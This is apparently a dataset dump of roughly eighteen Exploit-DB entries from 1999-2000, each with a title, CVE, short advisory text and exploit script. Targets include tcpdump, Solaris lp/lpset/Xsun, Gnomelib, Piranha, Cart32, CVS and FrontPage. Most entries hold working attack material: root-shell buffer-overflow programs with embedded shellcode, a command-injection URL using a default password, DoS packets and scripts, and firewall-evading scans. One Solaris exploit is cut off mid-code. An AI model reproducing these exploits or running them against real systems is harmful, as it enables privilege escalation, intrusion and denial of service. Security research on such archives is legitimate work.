QLWD/code_shield huggingface dataset:
标题: Ethereal 0.8.4/0.8.5/0.8.6 / tcpdump 3.4/3.5 alpha - DNS Decode (1) EDB-ID: 19891 CVE: 2000-0333 类型: REMOTE 平台: LINUX 发布日期: 1999-05-31 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1165/info

A vulnerability exists in the DNS decode capabilities provided as part of the tcpdump sniffer, from LBL, as well as other sniffers, including Ethereal, by Gerald Combs. These sniffers will attempt to decode DNS request and queries. However, due to the DNS name compression scheme, it is possible to create a DNS packet such that tcpdump will be caught in an infinite loop, while trying to decompress. This will prevent the sniffer from displaying further packets. If tcpdump is being used as some part of and intrusion detection system, this could allow an intruder to evade this system.

When tcpdump is logging to a file, it is not affected by this vulnerability. Upon reading from a file which contains recorded packets, it will enter an infinite loop when it encounters packets of this type.

/* dnsloop.c by Hugo Breton (bretonh@pgci.ca)

   This program illustrates the bug in tcpdump when handling jumps in the DNS
   hostname decompression.
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>


int main(int argc,char * * argv)
{
        char p[18];
        int sock;
        struct sockaddr_in sin;
        struct hostent * hoste;

        printf("dnsloop.c by Hugo Breton (bretonh@pgci.ca)\n");

        if(argc<2)
        {
                printf("usage: %s host\n",argv[0]);
                return(0);
        }

        bzero((void *) &sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(53);

        if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                if((hoste=gethostbyname(argv[1]))==NULL)
                {
                        printf("unknown host %s\n",argv[1]);
                        return(0);
                }
                
                bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
        }

        bzero((void *) p,18);
        * ((unsigned short *) (p+0))=htons(867-5309);
        * ((unsigned short *) (p+4))=htons(1);
        * ((unsigned short *) (p+12))=htons(32768+16384+12);
        * ((unsigned short *) (p+14))=htons(1);
        * ((unsigned short *) (p+16))=htons(1);

        if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
        {
                printf("unable to create UDP socket\n");
                return(0);
        }

        if(sendto(sock,p,18,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
        {
                printf("unable to send packet\n");
                return(0);
        }

        printf("packet sent to host %s\n",argv[1]);

        return(0);
} URL: https://www.exploit-db.com/exploits/19891
标题: Qualcomm Eudora 4.2/4.3 - Warning Message Circumvention EDB-ID: 19885 CVE: 2003-0336 2000-0342 类型: DOS 平台: WINDOWS 发布日期: 2000-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/1157/info

A malicious email sender can circumvent warning messages that would normally display when a user attempts to view executable attachments in Eudora 4.2/4.3. Eudora does not prompt a user with the warning message if they are attempting to open a file that is neither .exe, .com, or .bat.

Inserting the tag
<a &nbsp;href="file:///c:/eudora/attach/file.lnk"\>http&nbsp;://www.example.com</&nbsp;a>
in an email message will display as:
http&nbsp;://www.example.com
in a Eudora email client.

Therefore, when a user clicks on this link, it will automatically open up the executable file without warning. URL: https://www.exploit-db.com/exploits/19885
标题: RedHat 6.2 Piranha Virtual Server Package - Default Account and Password EDB-ID: 19879 CVE: 2000-0248 类型: REMOTE 平台: LINUX 发布日期: 2000-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1148/info

A default username and password has been discovered in the Piranha virtual server and load balancing package from RedHat. Version 0.4.12 of the piranha-gui program contains a default account, piranha, with the password 'q' (no quotes). Using this username and password, in conjunction with flaws in the passwd.php3 script (also part of piranha) will allow remote users to execute arbitrary commands on the machine.

The default username and password are piranha, and q, respectively.

Execute the following url, using the above information to authenticate: http://victim.example.com/piranha/secure/passwd.php3

Next, execute the following: http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

This will touch a file in /tmp named r00ted. More complex attacks are certainly possible. URL: https://www.exploit-db.com/exploits/19879
标题: Atrium Software Cassandra NNTP Server 1.10 - Buffer Overflow EDB-ID: 19884 CVE: 2000-0341 类型: DOS 平台: WINDOWS 发布日期: 2000-05-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/1156/info

Unchecked buffer exists in the code that handles login information in Cassandra NNTP v1.10 server. Entering a login name that consists of over 10 000 characters will cause the server to stop responding until the administrator restarts the application.

[host$ telnet target 119
Trying target...
Connected to target.
Escape character is '^]'.
200 CASSANDRA NNTP-Server (v1.10.01 Unregistered) for Windows 95 ready at Mon, 1
May 2000 xx:xx:xx +-300 (posting allowed) 

AUTHINFO USER <10 000 character string>


Where buffer is 10000 characters. URL: https://www.exploit-db.com/exploits/19884
标题: McMurtrey/Whitaker & Associates Cart32 2.6/3.0 - Remote Administration Password EDB-ID: 19881 CVE: 2000-0429 类型: REMOTE 平台: WINDOWS 发布日期: 2000-04-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/1153/info


Within cart32.exe, entering any password by way of http://target/scripts/cart32.exe/cart32clientlist, a remote user could obtain vital client information such as username, password, credit card numbers, and other crucial details. Passwords will appear encrypted, however they can be used in conjunction with specific URL requests which can be used to execute arbitrary commands.

In addition, by accessing http://target/scripts/c32web.exe/ChangeAdminPassword, a remote user is able to change the administrative password without prior knowledge of the previous password.

http://target/scripts/cart32.exe/cart32clientlist 
Any password can be used.

http://target/scripts/c32web.exe/ChangeAdminPassword URL: https://www.exploit-db.com/exploits/19881
标题: PostgreSQL 6.3.2/6.5.3 - Cleartext Passwords EDB-ID: 19875 CVE: 2000-1199 类型: LOCAL 平台: IMMUNIX 发布日期: 2000-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1139/info

PostgreSQL is a free RDBMS that is released under a Berkeley style license. PostgreSQL stores passwords for database users in a binary file called pg_shadow. This file is readable by root and the postgres user. Unfortunately, these passwords are stored in cleartext form and can be obtained if a user with read access to the file runs strings on it. While this is only readable by root and the postgres user (by default), it allows either one (or whoever else has read access to the file) to get the passwords for all databases and bypass authentication completely.


SmellyCat:/var/postgres/data# strings pg_shadow
someaccountname
someaccountpassword
anotheraccountname
anotheraccountpassword
SmellyCat:/var/postgres/data# URL: https://www.exploit-db.com/exploits/19875
标题: Zone Labs ZoneAlarm 2.1 Personal Firewall - Port 67 EDB-ID: 19871 CVE: 2000-0339 类型: REMOTE 平台: WINDOWS 发布日期: 2000-04-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1137/info

Certain versions of Zone Labs personal Firewall have a vulnerability which allows malicious users to port scan the firewall without being detected. In particular if the port scan originates from source port 67 on the attacking host the ZoneAlarm fails to register the attack.

nmap -g67 -P0 -p130-140 -sU <targethost> URL: https://www.exploit-db.com/exploits/19871
标题: Solaris 2.6/7.0 - 'lpset -r' Local Buffer Overflow (3) EDB-ID: 19874 CVE: 2000-0317 类型: LOCAL 平台: SOLARIS 发布日期: 2000-04-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1138/info
  
A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root.
*/

#define BASE 0xdff40000
#define STACK 0x8047e30
#define BUFSIZE 36     

#define SYSTEM (BASE + 0x5b328)
#define SCANF  (BASE + 0x5ae80)
#define SETUID (BASE + 0x30873)
#define PERCD  (BASE + 0x83754)
#define BINSH  (BASE + 0x83654)
#define POP3   (SYSTEM + 610)  
#define POP2   (SYSTEM + 611)  
#define POP1   (SYSTEM + 612)  

int
main()
{     
    unsigned char expbuf[1024];
    char *env[1]; 
    int *p, i;    
    
    memset(expbuf, 'a', BUFSIZE);
    p = (int *)(expbuf + BUFSIZE);
    
    *p++ = STACK;
    *p++ = SCANF + 1;
    *p++ = STACK + 6 * 4;
    *p++ = POP2; 
    *p++ = PERCD;
    *p++ = STACK + 9 * 4;
    
    *p++ = STACK + 10 * 4;
    *p++ = SETUID; 
    *p++ = POP1;   
    *p++ = 0x33333333;
    *p++ = STACK + 15 * 4;
    
    *p++ = SYSTEM;
    *p++ = 0x33333333;
    *p++ = BINSH;     
    *p = 0;
    
    env[0] = 0;
    execle("/bin/lpset", "/bin/lpset", "-n", "fns", "-r", expbuf, "123", 0,
           env);       
    return 0;
} URL: https://www.exploit-db.com/exploits/19874
标题: SuSE Linux 6.3/6.4 Gnomelib - Local Buffer Overflow EDB-ID: 19883 CVE: 2000-0340 类型: LOCAL 平台: LINUX 发布日期: 2000-04-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1155/info

A vulnerability exists in the handling of the DISPLAY variable, in versions of Gnomelib shipped with S.u.S.E. Linux, version 6.3. By supplying a long buffer containing machine executable code in the DISPLAY environment variable, it is possible to execute arbitrary code with the permissions of the user running the binary. In the case of a setuid binary, it is possible to obtain the privileges of the user it is setuid to. This in turn may be used to elevate privileges, and in theory could result in local root compromise.

S.u.S.E. 6.3 ships with 1 setgid application, /opt/gnome/sbin/gnome-pty-helper, which is setgid tty. 6.4 ships with setgid gnome games. The version of gnomelib included with S.u.S.E. 6.4 is not vulnerable to this attack, however.

/*
Gnomelib exploit by bladi & aLmUDeNa

All gnome apps have an exploitable buffer overflow
(gnomelib) when get DISPLAY environment variable.

Affected: S.u.S.E Linux: 6.3

Not vulnerable: RedHat 6.x
                Linpus Linux release 6.3
                Debian 
                  NoTe:
don't forget to put 6M in /tmp
---------(6M.c)---------
void main() {
    setuid(geteuid());
    setregid(getegid(), getegid());
    system("/bin/bash");
            }
---------(6M.c)---------

Bueno un saludo a todos los que nos conocen/quieren/odian,
bueno ya llevamos 6 meses y esperamos que dure mucho mas ;*


                                bladi@euskalnet.net
                                almudena@hempcultivation.com
*/
  #include <stdio.h>
#include <stdlib.h>
#define NOP                              0x90
#define RANFROM                         -1400
#define RANTO                            -300

int i,x;
char *ptr;
unsigned long *ptr2;  
char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/6M";
char buffer[164];

main(int argc, char *argv[])
{                          long get_sp(void)
{
__asm__("movl %esp,%eax\n");    
}                               
printf (" jpuff    ver: 1.0  \n");
printf ("         by         \n");
printf (" bladi & aLmUDeNa\n\n");
if (argc < 2 )                           
    {
    printf(" Usage ./jpuff <gnome app>\n");  
    printf("    Try: ./jpuff /opt/gnome/bin/sol => you gain
gid=40(game)\n");
    exit(1);
    }
for (x=RANFROM;x<RANTO;x=13+x)
    {
    for(i=0;i<164;i++)
        buffer[i]=0x00;
    ptr=buffer;  
      for(i=0;i<22;i++)
          *(ptr++)=NOP;
    for(i=0;i<strlen(execshell);i++)
          *(ptr++)=execshell[i];
    ptr2=(long *)ptr;
    for(i=0;i<20;i++)           
          *(ptr2++)=get_sp()+x;
     setenv("DISPLAY",buffer,1);  
    system(argv[1]);
    }
printf("\n- --( ExPLoIT DoNE )-- -\n");
printf("Have a lot of fun... ;*\n\n");  
return 0;
} URL: https://www.exploit-db.com/exploits/19883
标题: CVS 1.10.7 - Local Denial of Service EDB-ID: 19870 CVE: 2000-0338 类型: DOS 平台: LINUX 发布日期: 2000-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/1136/info

CVS stands for Concurrent Versions Software and is an open-source package designed to allow multiple developers to work concurrently on a single source tree, recording changes and controlling versions. It is possible to cause a denial of service for users of CVS due to predictable temporary filenames. CVS uses locking directories in /tmp and combines the static string 'cvs-serv' with the process ID to use as filenames. This is trivial to guess for an attacker, and since /tmp is world writeable, directories can be created with predicted names. CVS drops root priviliges, so these directories cannot be overwritten and every session for which a locking directory has been already created (by the attacker) will be broken.

The following perl script will create many directories in /tmp with incrementing pids:

#!/usr/bin/perl

$min=400;
$max=4000;

for ($x=$min;$x<=$max;$x++) {
open CVSTMP, ">>/tmp/cvs-serv$x" or die "/tmp/cvs-serv$x: $!";
chmod 0600, "/tmp/cvs-serv$x";
close CVSTMP;
} URL: https://www.exploit-db.com/exploits/19870
标题: Symantec pcAnywhere 8.0.1/8.0.2/9.0/9.2 - Port Scan Denial of Service EDB-ID: 19880 CVE: 2000-0324 类型: DOS 平台: WINDOWS 发布日期: 2000-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1150/info

Performing a TCP SYN or TCP connect scan on a host running Symantec pcAnywhere will cause the program to crash. Restarting the application is required in order to regain normal functionality.

nmap -sS target URL: https://www.exploit-db.com/exploits/19880
标题: Solaris 7.0/8 - Xsun Buffer Overrun EDB-ID: 19876 CVE: 2000-0337 类型: LOCAL 平台: SOLARIS 发布日期: 2000-04-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1140/info

A buffer overrun vulnerability exists in the Xsun X11 server, as shipped as part of Solaris 7 and 8 from Sun Microsystems. By supplying a long argument to the -dev option (normally used to set the output device), it is possible to execute arbitrary code with setgid root permissions. This can be further leveraged to gain root privileges, resulting in machine compromise.

/*
*
* Solaris 7  Xsun(suid) local overflow - PRIVATE for now!
* Solaris 2.7/(2.6?) x86 sploit no sparc code, yet!
*
* Discovered/sploited By DiGiT - teddi@linux.is
*
* Greets: #!ADM, #!security.is
*/

#include <stdio.h>
#include <stdlib.h>

// Generic solaris x86 shellcode by cheeze wizz

char shellcode[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
 
long get_esp() { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {

  char buff[5000];
  int nopcount=2001, bsize=4000, offset=1850;
  int i;

  if (argc > 1) nopcount  = atoi(argv[1]);
  if (argc > 2) bsize  = atoi(argv[2]);
  if (argc > 3) offset = atoi(argv[3]);
        memset (buff, 0x90, bsize); 

                for (i = nopcount; i < bsize - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
 
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));
 
            memcpy (buff, ":", 1);
 
         printf("Oh boy. DiGiT presents r00t\n");

         execl("/usr/openwin/bin/Xsun", "Xsun", "-dev", buff, NULL);

} URL: https://www.exploit-db.com/exploits/19876
标题: Solaris 2.6/7.0 - lp -d Option Buffer Overflow EDB-ID: 19878 CVE: 2000-0316 类型: LOCAL 平台: SOLARIS 发布日期: 2000-04-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1143/info

A buffer overrun has been discovered in the lp program, as included with Sun's Solaris 7 operating system. By passing well crafted, machine executable code of sufficient length to the -d option of lp, it becomes possible to execute arbitrary code as root.

/*      
 *      
 * solaris 2.7 /usr/bin/lp local exploit, i386.
 *
 * discovered by DiGiT.
 * try offset 150-250 if sploit fails
 *
 * greets: #!ADM, #!security.is, #hax, duke
 *
 * DiGiT - teddi@linux.is 
 *
 */

#include <stdio.h>
#include <stdlib.h> 


char shellcode[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
  
#define BUFSIZE  1100  
 
long get_esp() { __asm__("movl %esp,%eax"); }
 
int main(int argc, char *argv[]) {
 
  char buff[BUFSIZE];
  int nopcount=501, offset=260;
  int i;

  if (argc > 1) offset = atoi(argv[1]);
  if (argc > 2) nopcount  = atoi(argv[2]);

        memset (buff, 0x90, BUFSIZE);
 
                for (i = nopcount; i < BUFSIZE - 4; i += 4)
                *(long *) &buff[i] = get_esp() + offset;
        memcpy (buff + (nopcount - strlen (shellcode)), shellcode, strlen
        (shellcode));
 
            memcpy (buff, ":", 1);
            printf("Addr = 0x%x\n", get_esp() + offset);
         execl("/usr/bin/lp", "lp", "-d", buff, "-p", "/tmp/ps_data",NULL);
} URL: https://www.exploit-db.com/exploits/19878
标题: Solaris 2.6/7.0 - 'lpset -r' Local Buffer Overflow (2) EDB-ID: 19873 CVE: 2000-0317 类型: LOCAL 平台: SOLARIS 发布日期: 2000-04-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1138/info
 
A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root.

#include <unistd.h>
#include <stdio.h> 

#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200 

#define NOP 0xac15a16e

#define EXSTART 116

char sparc_shellcode[] =

/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"

/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

u_long get_sp() { asm("mov %sp, %i0"); }

main(int argc, char *argv[]) {
        int i,ofs=OFFSET,start=START,end=END;
        u_long ret, *ulp;
        char *buf;

        if (argc > 1) ofs=atoi(argv[1])+8;

        if (!(buf = (char *) malloc(BSIZE+2))) {
                fprintf(stderr, "out of memory\n");
                exit(1);
        }

        ret = get_sp() - ofs;

        for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
                *ulp = NOP;

        for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;

        for ( URL: https://www.exploit-db.com/exploits/19873
标题: Solaris 2.6/7.0 - 'lpset -r' Local Buffer Overflow (1) EDB-ID: 19872 CVE: 2000-0317 类型: LOCAL 平台: SOLARIS 发布日期: 2000-04-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/1138/info

A vulnerability exists in the handling of the -r option to the lpset program, as included in Solaris 7 from Sun Microsystems. The -r option is undocumented. As such, its use in unknown. However, when supplied a well crafted buffer containing executable code, it is possible to execute arbitrary commands as root.

/*  
 *
 * solaris 2.7 lpset local exploit, i386.
 * discovered by: duke 
 * not the same as on bt.
 * if exploit dosen=B4t work try offset from 300-450
 *
 * greets: duke, #!ADM, #!security.is, #hax
 *
 * DiGiT - teddi@linux.is
 *  
*/

    
#include <unistd.h>
#include <stdio.h> 
#include <stdlib.h>
#include <string.h> 

char shellcode[] =
 "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
 "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
 "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
 "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
 "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
 "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
 
long get_esp() { __asm__("movl %esp,%eax"); }
 
int main (int argc, char *argv[]) {
 
    long offset=410;
    int nop=64;
    int gab=40;
    long addr;
    char buffer[210];
    int i, a, b;   

if (argc > 1) offset = strtol(argv[1], NULL, 0);
if (argc > 2) gab = strtol(argv[2], NULL, 0);
if (argc > 3) nop = strtol(argv[2], NULL, 0);
 
   for (a = 0; a <gab; a++)
        buffer[a] = 'A';
 
  addr = get_esp() + offset;
 
  buffer[a++] = addr & 0x000000ff;
  buffer[a++] = (addr & 0x0000ff00) >> 8;  
  buffer[a++] = (addr & 0x00ff0000) >> 16;
  buffer[a++] = (addr & 0xff000000) >> 24;
 
  for ( ; a < nop; a++)
    buffer[a] = 0x90;
    
  for (b = 0; b < strlen(shellcode); b++, a++)
    buffer[a] = shellcode[b];
    
  buffer[strlen(buffer)] = '\0';

        printf("addr = 0x%x\n", addr);
        execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
   
} URL: https://www.exploit-db.com/exploits/19872
标题: SuSE Linux 6.x - Arbitrary File Deletion EDB-ID: 19867 CVE: 2000-0293 类型: LOCAL 平台: LINUX 发布日期: 2000-04-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1130/info

A vulnerability exists in SuSE Linux, version 6.3 and prior, that can allow arbitrary users to delete any file on the system. If the MAX_DAYS_IN_TMP variable is set in /etc/rc.config to be larger than 0, any local user can remove any file on the system. This is due to a flaw in /etc/cron.daily/aaa_base in SuSE 6.3, or /root/bin/cron.daily in older versions.

It has been reported that only files in the root directory (/) can be removed. Previously, it was thought arbitrary files anywhere on the filesystem could be removed.

mkdir -p "/tmp/foo vmlinux"
touch -t old-date "/tmp/foo vmlinux" URL: https://www.exploit-db.com/exploits/19867
标题: RealNetworks Real Server 7.0 / GameHouse dldisplay ActiveX control 0 - Denial of Service EDB-ID: 19856 CVE: 2000-0272 类型: DOS 平台: WINDOWS 发布日期: 2000-04-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/1128/info

Sending malformed packets to port 7070 will cause Real Server to stop responding. Restarting the server will be required in order to re-establish normal functionality. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19856-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19856-2.zip URL: https://www.exploit-db.com/exploits/19856
标题: FrontPage 97/98 - Server Image Mapper Buffer Overflow EDB-ID: 19853 CVE: 2000-0256 类型: DOS 平台: WINDOWS 发布日期: 2000-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1117/info

The htimage.exe and imagemap.exe files included with FrontPage handle server-side image mapping functions. Under normal operations, it would be passed a map name and a set of coordinates in the format http:&nbsp;//target/path/htimage.exe/mapname?x,y .

If the mapname portion of the request is replaced with 741 or more characters, the webserver software will crash, although the operating system will continue to function normally. Stack dumps reveal that user-supplied data occasionally makes it to the EIP register, making the execution of remote arbitrary code potentially possible.

To crash the server:
http:&nbsp;//target/path/htimage.exe/<741+characters>?0,0 URL: https://www.exploit-db.com/exploits/19853